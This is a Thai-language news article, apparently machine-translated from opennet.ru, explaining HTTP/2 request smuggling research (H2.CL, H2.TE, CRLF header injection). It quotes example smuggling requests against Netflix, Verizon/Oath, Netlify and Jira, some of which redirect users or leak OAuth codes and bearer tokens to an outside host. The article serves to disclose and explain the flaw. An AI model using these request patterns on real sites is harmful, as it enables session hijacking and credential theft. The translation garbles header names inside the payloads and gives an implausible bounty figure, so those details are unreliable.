การโจมตีแบบใหม่ในระบบส่วนหน้าและส่วนหลังที่ช่วยให้คุณสามารถแทรกคำขอได้

ระบบเว็บที่ส่วนหน้ายอมรับการเชื่อมต่อผ่าน HTTP/2 และส่งไปยังส่วนหลังผ่าน HTTP/1.1 ได้รับการเปิดเผยต่อรูปแบบใหม่ของการโจมตี “HTTP Request Smuggling” ซึ่งช่วยให้ส่งคำขอไคลเอ็นต์ที่ออกแบบมาเป็นพิเศษไปยัง แทรกเข้าไปในเนื้อหาของคำขอจากผู้ใช้รายอื่นที่ประมวลผลในโฟลว์เดียวกันระหว่างส่วนหน้าและส่วนหลัง การโจมตีสามารถใช้เพื่อแทรกโค้ด JavaScript ที่เป็นอันตรายลงในเซสชันกับเว็บไซต์ที่ถูกต้อง เลี่ยงระบบจำกัดการเข้าถึง และสกัดกั้นพารามิเตอร์การตรวจสอบสิทธิ์

ปัญหาดังกล่าวส่งผลกระทบต่อเว็บพรอกซี โหลดบาลานเซอร์ ตัวเร่งความเร็วเว็บ ระบบจัดส่งเนื้อหา และการกำหนดค่าอื่นๆ ที่คำขอถูกเปลี่ยนเส้นทางในลักษณะส่วนหน้าถึงส่วนหลัง ผู้เขียนงานวิจัยได้แสดงให้เห็นถึงความเป็นไปได้ในการโจมตีระบบของ Netflix, Verizon, Bitbucket, Netlify CDN และ Atlassian และได้รับเงินรางวัล 56 ดอลลาร์จากโครงการรางวัลสำหรับการระบุช่องโหว่ ปัญหานี้ยังได้รับการยืนยันในผลิตภัณฑ์ F5 Networks ปัญหาบางส่วนส่งผลต่อ mod_proxy ในเซิร์ฟเวอร์ Apache http (CVE-2021-33193) คาดว่าจะมีการแก้ไขในเวอร์ชัน 2.4.49 (นักพัฒนาได้รับแจ้งปัญหาเมื่อต้นเดือนพฤษภาคมและให้เวลา 3 เดือนในการแก้ไข) ใน nginx ความสามารถในการระบุส่วนหัว "Content-Length" และ "Transfer-Encoding" พร้อมกันถูกบล็อกในรุ่นล่าสุด (1.21.1) เครื่องมือโจมตีรวมอยู่ในชุดเครื่องมือ Burp แล้วและมีให้ใช้งานในรูปแบบของส่วนขยาย Turbo Intruder

หลักการทำงานของวิธีการใหม่ในการส่งคำขอเข้าสู่การรับส่งข้อมูลนั้นคล้ายคลึงกับช่องโหว่ที่นักวิจัยคนเดียวกันระบุเมื่อสองปีที่แล้ว แต่จำกัดอยู่เพียงส่วนหน้าที่ยอมรับคำขอผ่าน HTTP/1.1 ให้เราระลึกว่าในรูปแบบส่วนหน้า - แบ็กเอนด์คำขอของไคลเอ็นต์จะได้รับจากโหนดเพิ่มเติม - ส่วนหน้าซึ่งสร้างการเชื่อมต่อ TCP ที่มีอายุการใช้งานยาวนานกับแบ็กเอนด์ซึ่งประมวลผลคำขอโดยตรง ผ่านการเชื่อมต่อทั่วไปนี้ คำขอจากผู้ใช้ที่แตกต่างกันมักจะถูกส่ง ซึ่งเป็นไปตามลูกโซ่ทีละรายการ โดยแยกจากกันโดยใช้โปรโตคอล HTTP

การโจมตีแบบ “HTTP Request Smuggling” แบบคลาสสิกนั้นขึ้นอยู่กับข้อเท็จจริงที่ว่าส่วนหน้าและส่วนหลังตีความการใช้ส่วนหัว HTTP “Content-Length” (กำหนดขนาดรวมของข้อมูลในคำขอ) และ “Transfer-Encoding: chunked” (อนุญาต ข้อมูลที่จะถ่ายโอนเป็นบางส่วน) แตกต่างกัน . ตัวอย่างเช่น หากส่วนหน้ารองรับเฉพาะ "Content-Length" แต่ไม่สนใจ "Transfer-Encoding: chunked" ผู้โจมตีก็สามารถส่งคำขอที่มีทั้งส่วนหัว "Content-Length" และ "Transfer-Encoding: chunked" ได้ แต่ ขนาดคือ "Content-Length" ไม่ตรงกับขนาดของเชนที่แบ่งเป็นก้อน ในกรณีนี้ ส่วนหน้าจะประมวลผลและเปลี่ยนเส้นทางคำขอตาม "ความยาวเนื้อหา" และแบ็กเอนด์จะรอให้บล็อกเสร็จสิ้นตาม "การเข้ารหัสการโอน: chunked" และส่วนท้ายที่เหลือของคำขอของผู้โจมตีจะ อยู่ที่จุดเริ่มต้นของคำขอของผู้อื่นที่ส่งต่อไป

ไม่เหมือนกับโปรโตคอลข้อความ HTTP/1.1 ซึ่งแยกวิเคราะห์ที่ระดับบรรทัด HTTP/2 เป็นโปรโตคอลไบนารี่และจัดการบล็อกข้อมูลที่มีขนาดที่กำหนดไว้ล่วงหน้า อย่างไรก็ตาม HTTP/2 ใช้ส่วนหัวหลอกที่สอดคล้องกับส่วนหัว HTTP ทั่วไป ในกรณีที่โต้ตอบกับแบ็กเอนด์ผ่านโปรโตคอล HTTP/1.1 ส่วนหน้าจะแปลส่วนหัวหลอกเหล่านี้เป็นส่วนหัว HTTP ที่คล้ายกัน HTTP/1.1 ปัญหาคือแบ็กเอนด์ตัดสินใจเกี่ยวกับการแยกวิเคราะห์สตรีมตามส่วนหัว HTTP ที่ตั้งค่าโดยส่วนหน้า โดยไม่มีข้อมูลเกี่ยวกับพารามิเตอร์ของคำขอดั้งเดิม

โดยเฉพาะอย่างยิ่ง ค่า “ความยาวเนื้อหา” และ “การเข้ารหัสการถ่ายโอน” สามารถส่งได้ในรูปแบบของส่วนหัวหลอก แม้ว่าจะไม่ได้ใช้ใน HTTP/2 ก็ตาม เนื่องจากขนาดของข้อมูลทั้งหมดถูกกำหนดไว้ ในเขตข้อมูลแยกต่างหาก อย่างไรก็ตาม ในระหว่างกระบวนการแปลงคำขอ HTTP/2 เป็น HTTP/1.1 ส่วนหัวเหล่านี้จะถูกส่งต่อและอาจทำให้แบ็คเอนด์สับสนได้ การโจมตีหลักมีสองรูปแบบ: H2.TE และ H2.CL ซึ่งแบ็กเอนด์ถูกเข้าใจผิดโดยการเข้ารหัสการถ่ายโอนที่ไม่ถูกต้องหรือค่าความยาวเนื้อหาที่ไม่สอดคล้องกับขนาดที่แท้จริงของเนื้อหาคำขอที่ได้รับจากฟรอนต์เอนด์ผ่านทาง โปรโตคอล HTTP/2

การโจมตีแบบใหม่ในระบบส่วนหน้าและส่วนหลังที่ช่วยให้คุณสามารถแทรกคำขอได้

ตัวอย่างของการโจมตี H2.CL คือการระบุขนาดที่ไม่ถูกต้องในส่วนหัวหลอกที่มีความยาวเนื้อหาเมื่อส่งคำขอ HTTP/2 ไปยัง Netflix คำขอนี้นำไปสู่การเพิ่ม Content-Length ส่วนหัว HTTP ที่คล้ายกันเมื่อเข้าถึงแบ็กเอนด์ผ่าน HTTP/1.1 แต่เนื่องจากขนาดใน Content-Length ถูกระบุน้อยกว่าขนาดจริง ส่วนหนึ่งของข้อมูลในส่วนท้ายจึงถูกประมวลผลเป็น จุดเริ่มต้นของคำขอครั้งต่อไป

ตัวอย่างเช่น ขอ HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

จะส่งผลให้คำขอถูกส่งไปยังแบ็กเอนด์: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

เนื่องจาก Content-Length มีค่าเป็น 4 แบ็กเอนด์จะยอมรับเฉพาะ “abcd” เป็นเนื้อหาของคำขอ และส่วนที่เหลือของ “GET /n HTTP/1.1...” จะถูกประมวลผลเป็นจุดเริ่มต้นของคำขอที่ตามมา เกี่ยวข้องกับผู้ใช้รายอื่น ดังนั้น สตรีมจะไม่ซิงโครไนซ์ และเพื่อตอบสนองต่อคำขอถัดไป ระบบจะออกผลลัพธ์ของการประมวลผลคำขอจำลอง ในกรณีของ Netflix การระบุโฮสต์บุคคลที่สามในส่วนหัว “โฮสต์:” ในคำขอจำลองส่งผลให้ไคลเอ็นต์ส่งคืนการตอบกลับ “ตำแหน่ง: https://02.rs?x.netflix.com/n” และ อนุญาตให้ส่งเนื้อหาตามอำเภอใจไปยังไคลเอนต์ รวมถึงเรียกใช้โค้ด JavaScript ของคุณในบริบทของไซต์ Netflix

ตัวเลือกการโจมตีที่สอง (H2.TE) เกี่ยวข้องกับการแทนที่ส่วนหัว “Transfer-Encoding: chunked” การใช้ส่วนหัวหลอกที่เข้ารหัสการถ่ายโอนใน HTTP/2 เป็นสิ่งต้องห้ามตามข้อกำหนด และการร้องขอที่มีการกำหนดให้ถือว่าไม่ถูกต้อง อย่างไรก็ตาม การใช้งานส่วนหน้าบางอย่างไม่ได้คำนึงถึงข้อกำหนดนี้ และอนุญาตให้ใช้ส่วนหัวหลอกที่เข้ารหัสการถ่ายโอนใน HTTP/2 ซึ่งจะถูกแปลงเป็นส่วนหัว HTTP ที่คล้ายกัน หากมีส่วนหัว "Transfer-Encoding" แบ็กเอนด์สามารถถือเป็นลำดับความสำคัญที่สูงกว่า และแยกวิเคราะห์ข้อมูลทีละชิ้นในโหมด "chunked" โดยใช้บล็อกที่มีขนาดต่างกันในรูปแบบ "{size}\r\n{block }\r\n{size} \r\n{block}\r\n0" แม้จะแบ่งเริ่มต้นตามขนาดโดยรวมก็ตาม

ตัวอย่างของ Verizon แสดงให้เห็นการมีอยู่ของช่องว่างดังกล่าว ปัญหาดังกล่าวเกี่ยวข้องกับพอร์ทัลการตรวจสอบสิทธิ์และระบบการจัดการเนื้อหา ซึ่งใช้ในไซต์ต่างๆ เช่น Huffington Post และ Engadget เช่นกัน ตัวอย่างเช่น คำขอไคลเอ็นต์ผ่าน HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com การเข้ารหัสการถ่ายโอน chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

ส่งผลให้ส่งคำขอ HTTP/1.1 ไปยังแบ็กเอนด์: POST /identity/XUI HTTP/1.1 โฮสต์: id.b2b.oath.com ความยาวเนื้อหา: 66 การเข้ารหัสการถ่ายโอน: chunked 0 GET /oops HTTP/1.1 โฮสต์: psres เนื้อหาสุทธิ- ความยาว: 10x=

ในทางกลับกัน แบ็กเอนด์จะเพิกเฉยต่อส่วนหัว "Content-Length" และดำเนินการแยกในสตรีมตาม "Transfer-Encoding: chunked" ในทางปฏิบัติ การโจมตีทำให้สามารถเปลี่ยนเส้นทางคำขอของผู้ใช้ไปยังเว็บไซต์ได้ รวมถึงการสกัดกั้นคำขอที่เกี่ยวข้องกับการตรวจสอบสิทธิ์ OAuth ซึ่งมีพารามิเตอร์แสดงในส่วนหัวของผู้อ้างอิง เช่นเดียวกับการจำลองเซสชันการตรวจสอบสิทธิ์และทริกเกอร์ระบบของผู้ใช้ให้ส่งข้อมูลประจำตัว ไปยังโฮสต์ของผู้โจมตี GET /b2blanding/show/oops HTTP/1.1 โฮสต์: psres.net ผู้อ้างอิง: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 โฮสต์: psres.net การอนุญาต: ผู้ถือ eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

ในการโจมตีการใช้งาน HTTP/2 ที่ไม่อนุญาตให้ระบุส่วนหัวเทียมที่เข้ารหัสการถ่ายโอน มีการเสนอวิธีอื่นที่เกี่ยวข้องกับการแทนที่ส่วนหัว "การเข้ารหัสการถ่ายโอน" โดยการแนบไปกับส่วนหัวหลอกอื่น ๆ โดยคั่นด้วยอักขระขึ้นบรรทัดใหม่ ( เมื่อแปลงเป็น HTTP/1.1 ในกรณีนี้จะสร้างส่วนหัว HTTP แยกกันสองส่วน)

ตัวอย่างเช่น Atlassian Jira และ Netlify CDN (เคยให้บริการหน้าเริ่มต้นของ Mozilla ใน Firefox) ได้รับผลกระทบจากปัญหานี้ โดยเฉพาะคำขอ HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n ความยาวเนื้อหา: 5\r\n \r\nx=

ส่งผลให้คำขอ HTTP/1.1 POST / HTTP/1.1 ถูกส่งไปยังแบ็กเอนด์\r\n โฮสต์: start.mozilla.org\r\n Foo: b\r\n การเข้ารหัสการถ่ายโอน: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n โฮสต์: evil-netlify-domain\r\n ความยาวเนื้อหา: 5\r\n \r \nx=

อีกทางเลือกหนึ่งสำหรับการแทนที่ส่วนหัว "Transfer-Encoding" คือการแนบไปกับชื่อของส่วนหัวหลอกอื่นหรือบรรทัดที่มีวิธีการร้องขอ ตัวอย่างเช่น เมื่อเข้าถึง Atlassian Jira ชื่อส่วนหัวหลอก "foo:bar\r\ntransfer-encoding" ที่มีค่า "chunked" ทำให้ส่วนหัว HTTP "foo:bar" และ "transfer-encoding: chunked" ถูกเพิ่ม และการระบุส่วนหัวหลอก ":method" ค่า "GET / HTTP/1.1\r\nTransfer-encoding: chunked" ได้รับการแปลเป็น "GET / HTTP/1.1\r\ntransfer-encoding: chunked"

นักวิจัยที่ระบุปัญหายังได้เสนอเทคนิคการร้องขอทันเนลเพื่อโจมตีส่วนหน้า ซึ่งที่อยู่ IP แต่ละรายการจะสร้างการเชื่อมต่อแยกต่างหากไปยังแบ็กเอนด์ และการรับส่งข้อมูลจากผู้ใช้ที่แตกต่างกันจะไม่ปะปนกัน เทคนิคที่นำเสนอไม่อนุญาตให้รบกวนคำขอจากผู้ใช้รายอื่น แต่ทำให้เป็นไปได้ที่จะวางยาแคชที่ใช้ร่วมกันซึ่งส่งผลต่อการประมวลผลคำขออื่น ๆ และอนุญาตให้ทดแทนส่วนหัว HTTP ภายในที่ใช้ในการถ่ายโอนข้อมูลบริการจากส่วนหน้าไปยังส่วนหลัง ( เช่นเมื่อตรวจสอบสิทธิ์ที่ส่วนหน้าในส่วนหัวดังกล่าวสามารถส่งข้อมูลเกี่ยวกับผู้ใช้ปัจจุบันไปยังส่วนหลังได้) เป็นตัวอย่างของการใช้วิธีการในทางปฏิบัติโดยใช้การวางพิษแคช คุณสามารถควบคุมเพจในบริการ Bitbucket ได้

ที่มา: opennet.ru

เพิ่มความคิดเห็น